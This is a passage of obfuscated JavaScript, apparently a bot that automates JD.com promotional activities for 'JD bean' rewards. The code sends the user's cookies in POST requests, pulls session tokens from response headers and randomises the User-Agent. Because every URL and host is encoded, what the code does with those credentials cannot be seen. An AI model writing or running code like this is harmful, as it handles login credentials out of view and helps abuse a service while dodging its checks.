_0x785ca3[_0xb4b4('32a')](_0xb39076,_0xd84e);},'hebCX':_0x785ca3[_0xb4b4('32b')],'Bvhgm':function(_0xd56a43,_0x5e66c7){return _0x785ca3[_0xb4b4('32c')](_0xd56a43,_0x5e66c7);},'RRTVI':function(_0x2a4fba,_0xf7137f){return _0x785ca3[_0xb4b4('32d')](_0x2a4fba,_0xf7137f);},'iuGNK':_0x785ca3[_0xb4b4('32e')],'nkKbu':function(_0x25e1cc,_0x400863){return _0x785ca3[_0xb4b4('32f')](_0x25e1cc,_0x400863);},'HvTtV':function(_0x9632dc,_0x5a017e){return _0x785ca3[_0xb4b4('31c')](_0x9632dc,_0x5a017e);},'rntwP':_0x785ca3[_0xb4b4('330')],'FFxQR':_0x785ca3[_0xb4b4('331')]};if(_0x785ca3[_0xb4b4('332')](_0x785ca3[_0xb4b4('333')],_0x785ca3[_0xb4b4('334')])){let _0x3bd7d2='';if(res[_0xb4b4('10b')][_0xb4b4('16c')]){_0x3bd7d2=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}if(res[_0xb4b4('10b')][_0xb4b4('123')]&&res[_0xb4b4('10b')][_0xb4b4('1b0')]){_0x3bd7d2+=_0xb4b4('122')+res[_0xb4b4('10b')][_0xb4b4('123')]+'京豆';}console[_0xb4b4('7')](_0xb4b4('1b1')+_0x785ca3[_0xb4b4('335')](_0x3bd7d2,_0x785ca3[_0xb4b4('336')]));}else{let _0x404df6=_0xb4b4('337')+($[_0xb4b4('76')]||$[_0xb4b4('79')])+_0xb4b4('338')+$[_0xb4b4('5e')]+_0xb4b4('339');$[_0xb4b4('f9')](_0x785ca3[_0xb4b4('33a')](taskPostUrl,_0x785ca3[_0xb4b4('33b')],_0x404df6),async(_0x336f69,_0x293aed,_0x17e857)=>{if(_0xe35176[_0xb4b4('33c')](_0xe35176[_0xb4b4('33d')],_0xe35176[_0xb4b4('33d')])){try{if(_0xe35176[_0xb4b4('33e')](_0xe35176[_0xb4b4('33f')],_0xe35176[_0xb4b4('340')])){setcookie=setcookies[_0xb4b4('6b')](',');}else{if(_0x336f69){if(_0x293aed[_0xb4b4('100')]&&_0xe35176[_0xb4b4('341')](_0x293aed[_0xb4b4('100')],0x1ed)){if(_0xe35176[_0xb4b4('342')](_0xe35176[_0xb4b4('343')],_0xe35176[_0xb4b4('344')])){if(_0x336f69){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x336f69));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{}}else{console[_0xb4b4('7')](_0xe35176[_0xb4b4('345')]);$[_0xb4b4('13')]=!![];}}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x336f69));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('346'));}else{if(_0xe35176[_0xb4b4('342')](_0xe35176[_0xb4b4('347')],_0xe35176[_0xb4b4('347')])){let _0xcf90ef='';let _0x483968='';let _0x265e6b=_0x293aed[_0xe35176[_0xb4b4('348')]][_0xe35176[_0xb4b4('349')]]||_0x293aed[_0xe35176[_0xb4b4('348')]][_0xe35176[_0xb4b4('34a')]]||'';let _0x13b818='';if(_0x265e6b){if(_0xe35176[_0xb4b4('34b')](typeof _0x265e6b,_0xe35176[_0xb4b4('34c')])){_0x13b818=_0x265e6b[_0xb4b4('6b')](',');}else _0x13b818=_0x265e6b;for(let _0x3d684b of _0x13b818){let _0x36bf8b=_0x3d684b[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x36bf8b[_0xb4b4('6b')]('=')[0x1]){if(_0xe35176[_0xb4b4('34d')](_0x36bf8b[_0xb4b4('6e')](_0xe35176[_0xb4b4('34e')]),-0x1))lz_jdpin_token=_0xe35176[_0xb4b4('34f')](_0x36bf8b[_0xb4b4('71')](/ /g,''),';');if(_0xe35176[_0xb4b4('350')](_0x36bf8b[_0xb4b4('6e')](_0xe35176[_0xb4b4('351')]),-0x1))_0xcf90ef=_0xe35176[_0xb4b4('352')](_0x36bf8b[_0xb4b4('71')](/ /g,''),';');if(_0xe35176[_0xb4b4('350')](_0x36bf8b[_0xb4b4('6e')](_0xe35176[_0xb4b4('353')]),-0x1))_0x483968=_0xe35176[_0xb4b4('354')](_0x36bf8b[_0xb4b4('71')](/ /g,''),';');}}}if(_0xe35176[_0xb4b4('355')](_0xcf90ef,_0x483968))activityCookie=_0xcf90ef+'\x20'+_0x483968;let _0xf546a=$[_0xb4b4('108')](_0x17e857);if(_0xe35176[_0xb4b4('341')](typeof _0xf546a,_0xe35176[_0xb4b4('34c')])&&_0xf546a[_0xb4b4('10a')]&&_0xe35176[_0xb4b4('342')](_0xf546a[_0xb4b4('10a')],!![])){if(_0xf546a[_0xb4b4('10b')]&&_0xe35176[_0xb4b4('34b')](typeof _0xf546a[_0xb4b4('10b')][_0xb4b4('1a8')],_0xe35176[_0xb4b4('356')]))$[_0xb4b4('5f')]=_0xf546a[_0xb4b4('10b')][_0xb4b4('1a8')];if(_0xf546a[_0xb4b4('10b')]&&_0xe35176[_0xb4b4('34b')](typeof _0xf546a[_0xb4b4('10b')][_0xb4b4('74')],_0xe35176[_0xb4b4('356')]))$[_0xb4b4('74')]=_0xf546a[_0xb4b4('10b')][_0xb4b4('74')];}else if(_0xe35176[_0xb4b4('357')](typeof _0xf546a,_0xe35176[_0xb4b4('34c')])&&_0xf546a[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('358')+(_0xf546a[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x17e857);}}else{_0xe35176[_0xb4b4('359')](_0x35f3c5);}}}}catch(_0x36e5db){if(_0xe35176[_0xb4b4('35a')](_0xe35176[_0xb4b4('35b')],_0xe35176[_0xb4b4('35c')])){$[_0xb4b4('21')]($[_0xb4b4('22')],_0xe35176[_0xb4b4('35d')],_0xe35176[_0xb4b4('35e')],{'open-url':_0xe35176[_0xb4b4('35e')]});return;}else{$[_0xb4b4('44')](_0x36e5db,_0x293aed);}}finally{_0xe35176[_0xb4b4('359')](_0x35f3c5);}}else{$[_0xb4b4('44')](e,_0x293aed);}});}});}function getSimpleActInfoVo(){var _0x52cde9={'zwBEk':function(_0x5059f1,_0x4ce4a2){return _0x5059f1==_0x4ce4a2;},'BpQMb':_0xb4b4('4d'),'qESZw':function(_0x57229c,_0x41bdfc){return _0x57229c!=_0x41bdfc;},'hylOJ':_0xb4b4('47'),'PzMTD':function(_0x4ce6e7,_0x14dd8c){return _0x4ce6e7>_0x14dd8c;},'sDpUX':_0xb4b4('1be'),'EDWTA':function(_0x5a0844,_0x1d3b97){return _0x5a0844+_0x1d3b97;},'BRRnr':_0xb4b4('48'),'DmJTq':_0xb4b4('49'),'UrWNE':_0xb4b4('4f'),'TNDuw':function(_0x214533,_0x1b27ab){return _0x214533!=_0x1b27ab;},'WoHft':function(_0x359e32,_0x3e5eab){return _0x359e32===_0x3e5eab;},'xrZzZ':_0xb4b4('35f'),'ReJna':_0xb4b4('360'),'niQPh':_0xb4b4('361'),'anHOS':_0xb4b4('362'),'nlQEY':function(_0x18a92e,_0x3e5c73){return _0x18a92e!==_0x3e5c73;},'ParCV':_0xb4b4('363'),'yhbqI':_0xb4b4('364'),'CyEJE':function(_0x2c580d,_0x53748b){return _0x2c580d===_0x53748b;},'zGIDL':_0xb4b4('365'),'mHQsk':_0xb4b4('366'),'hCrsz':function(_0x166d4c,_0x1c3334){return _0x166d4c==_0x1c3334;},'PRVmw':function(_0x54d93f){return _0x54d93f();},'HpmbR':function(_0x3e610b,_0x309c82,_0x169bc0){return _0x3e610b(_0x309c82,_0x169bc0);},'NOQJs':_0xb4b4('367')};return new Promise(_0x38e71c=>{var _0xf44ff={'kydEZ':function(_0x54d4f9,_0x5d8618){return _0x52cde9[_0xb4b4('368')](_0x54d4f9,_0x5d8618);},'rPcFy':_0x52cde9[_0xb4b4('369')],'mVtQS':function(_0x34f786,_0x4b3891){return _0x52cde9[_0xb4b4('36a')](_0x34f786,_0x4b3891);},'yrerz':_0x52cde9[_0xb4b4('36b')],'jMgSU':function(_0x1129be,_0x249f49){return _0x52cde9[_0xb4b4('36c')](_0x1129be,_0x249f49);},'WAveO':_0x52cde9[_0xb4b4('36d')],'lyvsF':function(_0x30b01f,_0x294525){return _0x52cde9[_0xb4b4('36e')](_0x30b01f,_0x294525);},'bQxux':_0x52cde9[_0xb4b4('36f')],'GDxBj':_0x52cde9[_0xb4b4('370')],'ZygmL':_0x52cde9[_0xb4b4('371')],'ncxIj':function(_0x61ca9e,_0x3a2715){return _0x52cde9[_0xb4b4('372')](_0x61ca9e,_0x3a2715);},'toYwY':function(_0x3e9962,_0x147d44){return _0x52cde9[_0xb4b4('373')](_0x3e9962,_0x147d44);},'PQmNl':_0x52cde9[_0xb4b4('374')],'GBZDc':_0x52cde9[_0xb4b4('375')],'enXaD':_0x52cde9[_0xb4b4('376')],'NiJsu':_0x52cde9[_0xb4b4('377')],'fhQhJ':function(_0x2240c9,_0x55ac11){return _0x52cde9[_0xb4b4('378')](_0x2240c9,_0x55ac11);},'VPuBD':_0x52cde9[_0xb4b4('379')],'UAzKr':_0x52cde9[_0xb4b4('37a')],'EWHDE':function(_0x13d2af,_0x592443){return _0x52cde9[_0xb4b4('37b')](_0x13d2af,_0x592443);},'cnntJ':_0x52cde9[_0xb4b4('37c')],'jsBKd':_0x52cde9[_0xb4b4('37d')],'DaifM':function(_0x2a534e,_0x3f4cc4){return _0x52cde9[_0xb4b4('372')](_0x2a534e,_0x3f4cc4);},'oRsiS':function(_0x4bc770,_0x416458){return _0x52cde9[_0xb4b4('372')](_0x4bc770,_0x416458);},'WwtFi':function(_0x4c519f,_0x5048ba){return _0x52cde9[_0xb4b4('37e')](_0x4c519f,_0x5048ba);},'NUQHB':function(_0xe271c3){return _0x52cde9[_0xb4b4('37f')](_0xe271c3);}};let _0x415b16=_0xb4b4('f4')+$[_0xb4b4('31')];$[_0xb4b4('f9')](_0x52cde9[_0xb4b4('380')](taskPostUrl,_0x52cde9[_0xb4b4('381')],_0x415b16),async(_0x34de62,_0x32cd76,_0x5f9151)=>{var _0x44ff4d={'EsvpZ':function(_0x389fcd,_0x1f85d6){return _0xf44ff[_0xb4b4('382')](_0x389fcd,_0x1f85d6);},'BPzep':_0xf44ff[_0xb4b4('383')],'KqWDL':function(_0x1e0f1b,_0x42be69){return _0xf44ff[_0xb4b4('384')](_0x1e0f1b,_0x42be69);},'RAEKV':_0xf44ff[_0xb4b4('385')],'YNBTG':function(_0x1f633e,_0x2619f0){return _0xf44ff[_0xb4b4('386')](_0x1f633e,_0x2619f0);},'bRefU':_0xf44ff[_0xb4b4('387')],'rSsPj':_0xf44ff[_0xb4b4('388')],'YOJps':function(_0x2430a6,_0x53f41e){return _0xf44ff[_0xb4b4('386')](_0x2430a6,_0x53f41e);},'dQUyf':_0xf44ff[_0xb4b4('389')],'OoxfL':_0xf44ff[_0xb4b4('38a')],'TUGui':function(_0xb57797,_0x5cc229){return _0xf44ff[_0xb4b4('38b')](_0xb57797,_0x5cc229);},'VEBds':function(_0xd037ed,_0x185969){return _0xf44ff[_0xb4b4('38b')](_0xd037ed,_0x185969);}};if(_0xf44ff[_0xb4b4('38c')](_0xf44ff[_0xb4b4('38d')],_0xf44ff[_0xb4b4('38e')])){if(_0x44ff4d[_0xb4b4('38f')](typeof setcookies,_0x44ff4d[_0xb4b4('390')])){setcookie=setcookies[_0xb4b4('6b')](',');}else setcookie=setcookies;for(let _0x5e7002 of setcookie){let _0x44b76d=_0x5e7002[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x44b76d[_0xb4b4('6b')]('=')[0x1]){if(_0x44ff4d[_0xb4b4('391')](_0x44b76d[_0xb4b4('6e')](_0x44ff4d[_0xb4b4('392')]),-0x1))lz_jdpin_token=_0x44ff4d[_0xb4b4('393')](_0x44b76d[_0xb4b4('71')](/ /g,''),';');if(_0x44ff4d[_0xb4b4('391')](_0x44b76d[_0xb4b4('6e')](_0x44ff4d[_0xb4b4('394')]),-0x1))LZ_TOKEN_KEY=_0x44ff4d[_0xb4b4('393')](_0x44b76d[_0xb4b4('71')](/ /g,''),';');if(_0x44ff4d[_0xb4b4('391')](_0x44b76d[_0xb4b4('6e')](_0x44ff4d[_0xb4b4('395')]),-0x1))LZ_TOKEN_VALUE=_0x44ff4d[_0xb4b4('396')](_0x44b76d[_0xb4b4('71')](/ /g,''),';');}}}else{try{if(_0x34de62){if(_0xf44ff[_0xb4b4('38c')](_0xf44ff[_0xb4b4('397')],_0xf44ff[_0xb4b4('398')])){console[_0xb4b4('7')](_0x44ff4d[_0xb4b4('399')]);$[_0xb4b4('13')]=!![];}else{if(_0x32cd76[_0xb4b4('100')]&&_0xf44ff[_0xb4b4('39a')](_0x32cd76[_0xb4b4('100')],0x1ed)){if(_0xf44ff[_0xb4b4('39b')](_0xf44ff[_0xb4b4('39c')],_0xf44ff[_0xb4b4('39d')])){console[_0xb4b4('7')](_0xf44ff[_0xb4b4('389')]);$[_0xb4b4('13')]=!![];}else{if(_0x44ff4d[_0xb4b4('38f')](typeof res[_0xb4b4('10b')][_0xb4b4('9e')][_0xb4b4('2a7')],_0x44ff4d[_0xb4b4('39e')]))$[_0xb4b4('9e')]=res[_0xb4b4('10b')][_0xb4b4('9e')][_0xb4b4('2a7')];if(_0x44ff4d[_0xb4b4('39f')](typeof res[_0xb4b4('10b')][_0xb4b4('a2')][_0xb4b4('2a7')],_0x44ff4d[_0xb4b4('39e')]))$[_0xb4b4('a2')]=res[_0xb4b4('10b')][_0xb4b4('a2')][_0xb4b4('2a7')];if(_0x44ff4d[_0xb4b4('3a0')](typeof res[_0xb4b4('10b')][_0xb4b4('40')],_0x44ff4d[_0xb4b4('39e')]))$[_0xb4b4('40')]=res[_0xb4b4('10b')][_0xb4b4('40')];}}console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0x34de62));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3a1'));}}else{if(_0xf44ff[_0xb4b4('3a2')](_0xf44ff[_0xb4b4('3a3')],_0xf44ff[_0xb4b4('3a3')])){res=$[_0xb4b4('108')](_0x5f9151);if(_0xf44ff[_0xb4b4('39a')](typeof res,_0xf44ff[_0xb4b4('383')])&&res[_0xb4b4('10a')]&&_0xf44ff[_0xb4b4('3a2')](res[_0xb4b4('10a')],!![])){if(_0xf44ff[_0xb4b4('3a2')](_0xf44ff[_0xb4b4('3a4')],_0xf44ff[_0xb4b4('3a4')])){if(_0xf44ff[_0xb4b4('3a5')](typeof res[_0xb4b4('10b')][_0xb4b4('76')],_0xf44ff[_0xb4b4('38a')]))$[_0xb4b4('76')]=res[_0xb4b4('10b')][_0xb4b4('76')];if(_0xf44ff[_0xb4b4('3a6')](typeof res[_0xb4b4('10b')][_0xb4b4('79')],_0xf44ff[_0xb4b4('38a')]))$[_0xb4b4('79')]=res[_0xb4b4('10b')][_0xb4b4('79')];}else{if(_0x32cd76[_0xb4b4('100')]&&_0xf44ff[_0xb4b4('39a')](_0x32cd76[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0xf44ff[_0xb4b4('389')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0x34de62));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3a1'));}}else if(_0xf44ff[_0xb4b4('3a7')](typeof res,_0xf44ff[_0xb4b4('383')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('3a8')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x5f9151);}}else{console[_0xb4b4('7')](_0x5f9151);}}}catch(_0x57ad8b){$[_0xb4b4('44')](_0x57ad8b,_0x32cd76);}finally{_0xf44ff[_0xb4b4('3a9')](_0x38e71c);}}});});}function getToken(){var _0x545ca8={'UeGRR':function(_0x226700,_0x267d3f){return _0x226700!==_0x267d3f;},'xgozE':_0xb4b4('47'),'BRMPq':function(_0x44c5ef,_0x43012e){return _0x44c5ef==_0x43012e;},'lcYYA':function(_0x3ed351,_0x115590){return _0x3ed351==_0x115590;},'eIqWb':function(_0x201f06,_0x4af82f){return _0x201f06!=_0x4af82f;},'fKIiJ':_0xb4b4('4f'),'RxfLf':function(_0x1a5f3b,_0x432668){return _0x1a5f3b===_0x432668;},'Udtcb':_0xb4b4('3aa'),'Quwog':_0xb4b4('3ab'),'JlUWt':_0xb4b4('3ac'),'FoQaD':function(_0x2d6c1a,_0x185938){return _0x2d6c1a===_0x185938;},'insZk':_0xb4b4('3ad'),'gnJNT':function(_0x3dc249){return _0x3dc249();},'vaLIA':_0xb4b4('3ae'),'uUhaL':_0xb4b4('1ec'),'RmWKG':_0xb4b4('1ea')};return new Promise(_0x22efe5=>{var _0x2969b9={'JrEbJ':function(_0x4b4eca,_0x409063){return _0x545ca8[_0xb4b4('3af')](_0x4b4eca,_0x409063);},'cNHvY':_0x545ca8[_0xb4b4('3b0')],'gVawh':function(_0x590bbd,_0x16d523){return _0x545ca8[_0xb4b4('3b1')](_0x590bbd,_0x16d523);},'GFnnT':function(_0x25aa53,_0x24fbb2){return _0x545ca8[_0xb4b4('3b2')](_0x25aa53,_0x24fbb2);},'IeWKL':function(_0x56ef51,_0x1b7804){return _0x545ca8[_0xb4b4('3b3')](_0x56ef51,_0x1b7804);},'xtXWt':_0x545ca8[_0xb4b4('3b4')],'BelTV':function(_0xbd231a,_0x24bebd){return _0x545ca8[_0xb4b4('3b5')](_0xbd231a,_0x24bebd);},'NedgW':_0x545ca8[_0xb4b4('3b6')],'ySURd':_0x545ca8[_0xb4b4('3b7')],'ZcoKF':_0x545ca8[_0xb4b4('3b8')],'ykHit':function(_0x27c5c7,_0x5847eb){return _0x545ca8[_0xb4b4('3b9')](_0x27c5c7,_0x5847eb);},'TGugk':_0x545ca8[_0xb4b4('3ba')],'agXjU':function(_0x367ae9){return _0x545ca8[_0xb4b4('3bb')](_0x367ae9);}};$[_0xb4b4('f9')]({'url':_0xb4b4('3bc'),'body':_0x545ca8[_0xb4b4('3bd')],'headers':{'Content-Type':_0x545ca8[_0xb4b4('3be')],'Cookie':cookie,'Host':_0x545ca8[_0xb4b4('3bf')],'User-Agent':$['UA']},'timeout':0x7530},async(_0x29f549,_0x30ad12,_0x7b56bd)=>{var _0x3b3182={'gxLZm':function(_0x24990e,_0x217b55){return _0x2969b9[_0xb4b4('3c0')](_0x24990e,_0x217b55);},'CYFNY':_0x2969b9[_0xb4b4('3c1')]};try{if(_0x29f549){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x29f549));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3c2'));}else{let _0x339949=$[_0xb4b4('108')](_0x7b56bd);if(_0x2969b9[_0xb4b4('3c3')](typeof _0x339949,_0x2969b9[_0xb4b4('3c1')])&&_0x2969b9[_0xb4b4('3c4')](_0x339949[_0xb4b4('3c5')],0x0)){if(_0x2969b9[_0xb4b4('3c6')](typeof _0x339949[_0xb4b4('3c7')],_0x2969b9[_0xb4b4('3c8')]))$[_0xb4b4('5e')]=_0x339949[_0xb4b4('3c7')];}else if(_0x2969b9[_0xb4b4('3c4')](typeof _0x339949,_0x2969b9[_0xb4b4('3c1')])&&_0x339949[_0xb4b4('20a')]){if(_0x2969b9[_0xb4b4('3c9')](_0x2969b9[_0xb4b4('3ca')],_0x2969b9[_0xb4b4('3cb')])){_0x339949=$[_0xb4b4('108')](_0x7b56bd);if(_0x3b3182[_0xb4b4('3cc')](typeof _0x339949,_0x3b3182[_0xb4b4('3cd')])){console[_0xb4b4('7')](_0x7b56bd);}}else{console[_0xb4b4('7')](_0xb4b4('3ce')+(_0x339949[_0xb4b4('20a')]||''));}}else{if(_0x2969b9[_0xb4b4('3c0')](_0x2969b9[_0xb4b4('3cf')],_0x2969b9[_0xb4b4('3cf')])){console[_0xb4b4('7')](_0x339949[_0xb4b4('20a')]);if(_0x339949[_0xb4b4('10a')]&&_0x339949[_0xb4b4('10a')][_0xb4b4('20b')]){for(let _0x3f6ceb of _0x339949[_0xb4b4('10a')][_0xb4b4('20b')][_0xb4b4('20f')]){console[_0xb4b4('7')](_0xb4b4('217')+_0x3f6ceb[_0xb4b4('218')]+_0x3f6ceb[_0xb4b4('219')]+_0x3f6ceb[_0xb4b4('21a')]);}}}else{console[_0xb4b4('7')](_0x7b56bd);}}}}catch(_0xb45723){if(_0x2969b9[_0xb4b4('3d0')](_0x2969b9[_0xb4b4('3d1')],_0x2969b9[_0xb4b4('3d1')])){$[_0xb4b4('44')](_0xb45723,_0x30ad12);}else{console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x29f549));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3c2'));}}finally{_0x2969b9[_0xb4b4('3d2')](_0x22efe5);}});});}function getCk(){var _0x203f20={'pLish':function(_0x17fdbc,_0x49dfe6){return _0x17fdbc===_0x49dfe6;},'CjdYl':_0xb4b4('3d3'),'xsmBy':function(_0x2fa8ca,_0x1b57a7){return _0x2fa8ca==_0x1b57a7;},'nriqy':_0xb4b4('4d'),'NCnro':_0xb4b4('2da'),'qXsqa':_0xb4b4('2db'),'royRT':_0xb4b4('2dc'),'IsjQw':_0xb4b4('3d4'),'ScdAz':_0xb4b4('3d5'),'ayIKh':function(_0x5884c1,_0x4cc59c){return _0x5884c1!=_0x4cc59c;},'bmDIY':_0xb4b4('47'),'tWaLJ':_0xb4b4('3d6'),'XRQXM':_0xb4b4('3d7'),'zPbIL':_0xb4b4('3d8'),'pwpfh':function(_0x5e6980,_0x31f6f1){return _0x5e6980>_0x31f6f1;},'zHcZK':_0xb4b4('48'),'BoOgq':function(_0x478fc3,_0x48b2b9){return _0x478fc3+_0x48b2b9;},'ugKFg':function(_0x722915,_0x3c9e34){return _0x722915>_0x3c9e34;},'afRPM':_0xb4b4('49'),'hLGst':function(_0x52110f,_0x4a6b5e){return _0x52110f&&_0x4a6b5e;},'zDFbC':function(_0xe80b3b){return _0xe80b3b();},'whpBV':function(_0x15b73a,_0x1c69c8){return _0x15b73a!==_0x1c69c8;},'SZJIv':_0xb4b4('3d9'),'zRDVv':_0xb4b4('3da')};return new Promise(_0x51e23b=>{var _0xcfd24b={'HxdMy':function(_0x5653ca,_0x202fe3){return _0x203f20[_0xb4b4('3db')](_0x5653ca,_0x202fe3);},'osqUp':_0x203f20[_0xb4b4('3dc')],'BaSOQ':function(_0x5d96a3,_0x710e95){return _0x203f20[_0xb4b4('3dd')](_0x5d96a3,_0x710e95);},'Pilri':_0x203f20[_0xb4b4('3de')],'zfFQs':_0x203f20[_0xb4b4('3df')],'BaleA':_0x203f20[_0xb4b4('3e0')],'uxfcK':_0x203f20[_0xb4b4('3e1')],'HsVAr':function(_0x5c1cd2,_0x5e5693){return _0x203f20[_0xb4b4('3db')](_0x5c1cd2,_0x5e5693);},'wPteZ':_0x203f20[_0xb4b4('3e2')],'hyziX':_0x203f20[_0xb4b4('3e3')],'ewzHk':function(_0x5ae9de,_0x5ceb3c){return _0x203f20[_0xb4b4('3e4')](_0x5ae9de,_0x5ceb3c);},'rhFMd':_0x203f20[_0xb4b4('3e5')],'lAftP':function(_0x119896,_0x1cd92c){return _0x203f20[_0xb4b4('3db')](_0x119896,_0x1cd92c);},'lVqpO':_0x203f20[_0xb4b4('3e6')],'CtnRt':_0x203f20[_0xb4b4('3e7')],'ZmZOC':_0x203f20[_0xb4b4('3e8')],'RAXLB':function(_0x200821,_0x547f9a){return _0x203f20[_0xb4b4('3e9')](_0x200821,_0x547f9a);},'DkNBZ':_0x203f20[_0xb4b4('3ea')],'lAYBz':function(_0x5efeb4,_0x2fe4fc){return _0x203f20[_0xb4b4('3eb')](_0x5efeb4,_0x2fe4fc);},'yoEKE':function(_0x34586e,_0x27bae7){return _0x203f20[_0xb4b4('3ec')](_0x34586e,_0x27bae7);},'PHRFB':_0x203f20[_0xb4b4('3ed')],'QKbuk':function(_0x30d34c,_0x4f2f9b){return _0x203f20[_0xb4b4('3ee')](_0x30d34c,_0x4f2f9b);},'xVBVX':function(_0x821ff9){return _0x203f20[_0xb4b4('3ef')](_0x821ff9);}};if(_0x203f20[_0xb4b4('3f0')](_0x203f20[_0xb4b4('3f1')],_0x203f20[_0xb4b4('3f2')])){let _0x28bdfd={'url':_0xb4b4('2ef')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'followRedirect':![],'headers':{'User-Agent':$['UA']},'timeout':0x7530};$[_0xb4b4('1d1')](_0x28bdfd,async(_0x315cb3,_0x3b2181,_0x4d09b0)=>{try{if(_0xcfd24b[_0xb4b4('3f3')](_0xcfd24b[_0xb4b4('3f4')],_0xcfd24b[_0xb4b4('3f4')])){if(_0x315cb3){if(_0x3b2181[_0xb4b4('100')]&&_0xcfd24b[_0xb4b4('3f5')](_0x3b2181[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0xcfd24b[_0xb4b4('3f6')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x315cb3));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('1a1'));}else{let _0x51431b='';let _0x439121='';let _0x133a0=_0x3b2181[_0xcfd24b[_0xb4b4('3f7')]][_0xcfd24b[_0xb4b4('3f8')]]||_0x3b2181[_0xcfd24b[_0xb4b4('3f7')]][_0xcfd24b[_0xb4b4('3f9')]]||'';let _0x2fb66c='';if(_0x133a0){if(_0xcfd24b[_0xb4b4('3fa')](_0xcfd24b[_0xb4b4('3fb')],_0xcfd24b[_0xb4b4('3fc')])){$[_0xb4b4('44')](e,_0x3b2181);}else{if(_0xcfd24b[_0xb4b4('3fd')](typeof _0x133a0,_0xcfd24b[_0xb4b4('3fe')])){if(_0xcfd24b[_0xb4b4('3ff')](_0xcfd24b[_0xb4b4('400')],_0xcfd24b[_0xb4b4('400')])){_0x2fb66c=_0x133a0[_0xb4b4('6b')](',');}else{console[_0xb4b4('7')](_0xb4b4('3a8')+(res[_0xb4b4('11e')]||''));}}else _0x2fb66c=_0x133a0;for(let _0x3c830e of _0x2fb66c){let _0xe7ae25=_0x3c830e[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0xe7ae25[_0xb4b4('6b')]('=')[0x1]){if(_0xcfd24b[_0xb4b4('3ff')](_0xcfd24b[_0xb4b4('401')],_0xcfd24b[_0xb4b4('402')])){msg=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}else{if(_0xcfd24b[_0xb4b4('403')](_0xe7ae25[_0xb4b4('6e')](_0xcfd24b[_0xb4b4('404')]),-0x1))_0x51431b=_0xcfd24b[_0xb4b4('405')](_0xe7ae25[_0xb4b4('71')](/ /g,''),';');if(_0xcfd24b[_0xb4b4('406')](_0xe7ae25[_0xb4b4('6e')](_0xcfd24b[_0xb4b4('407')]),-0x1))_0x439121=_0xcfd24b[_0xb4b4('405')](_0xe7ae25[_0xb4b4('71')](/ /g,''),';');}}}}}if(_0xcfd24b[_0xb4b4('408')](_0x51431b,_0x439121))activityCookie=_0x51431b+'\x20'+_0x439121;}}else{$[_0xb4b4('44')](e,_0x3b2181);}}catch(_0x5824eb){$[_0xb4b4('44')](_0x5824eb,_0x3b2181);}finally{_0xcfd24b[_0xb4b4('409')](_0x51e23b);}});}else{console[_0xb4b4('7')](data);}});}function taskPostUrl(_0xf4c913,_0x61a7d){var _0xebdc4f={'RCkxW':_0xb4b4('40a'),'CwJQy':_0xb4b4('40b'),'pAahQ':_0xb4b4('40c'),'QRuCf':_0xb4b4('40d'),'LwjWX':_0xb4b4('1ec'),'lOukO':function(_0x1b6936,_0xc4e86f){return _0x1b6936+_0xc4e86f;},'MapcC':function(_0x44ce50,_0x4a44f3){return _0x44ce50+_0x4a44f3;},'EltMN':_0xb4b4('40e'),'BokaK':_0xb4b4('40f'),'xlYPD':_0xb4b4('410'),'VxSYy':_0xb4b4('411')};return{'url':_0xb4b4('410')+_0xf4c913,'body':_0x61a7d,'headers':{'Accept':_0xebdc4f[_0xb4b4('412')],'Accept-Language':_0xebdc4f[_0xb4b4('413')],'Accept-Encoding':_0xebdc4f[_0xb4b4('414')],'Connection':_0xebdc4f[_0xb4b4('415')],'Content-Type':_0xebdc4f[_0xb4b4('416')],'Cookie':''+activityCookie+($[_0xb4b4('5f')]&&_0xebdc4f[_0xb4b4('417')](_0xebdc4f[_0xb4b4('418')](_0xebdc4f[_0xb4b4('419')],$[_0xb4b4('5f')]),';')||'')+lz_jdpin_token,'Host':_0xebdc4f[_0xb4b4('41a')],'Origin':_0xebdc4f[_0xb4b4('41b')],'X-Requested-With':_0xebdc4f[_0xb4b4('41c')],'Referer':_0xb4b4('2ef')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'User-Agent':$['UA']},'timeout':0x7530};}async function getUA(){var _0x401ca0={'oEkCe':function(_0x1c959c,_0x3f351c){return _0x1c959c(_0x3f351c);},'ZBRWi':function(_0x3eca38,_0xb0e5bc){return _0x3eca38==_0xb0e5bc;},'oKjRM':function(_0x286f53){return _0x286f53();},'lAAdq':function(_0x19c50d,_0x101f7d){return _0x19c50d===_0x101f7d;},'fQHCZ':_0xb4b4('18d')};$['UA']=_0xb4b4('41d')+_0x401ca0[_0xb4b4('41e')](randomString,0x28)+_0xb4b4('41f');if(_0x401ca0[_0xb4b4('420')]($[_0xb4b4('3a')],0x1)){const _0xa96835=await 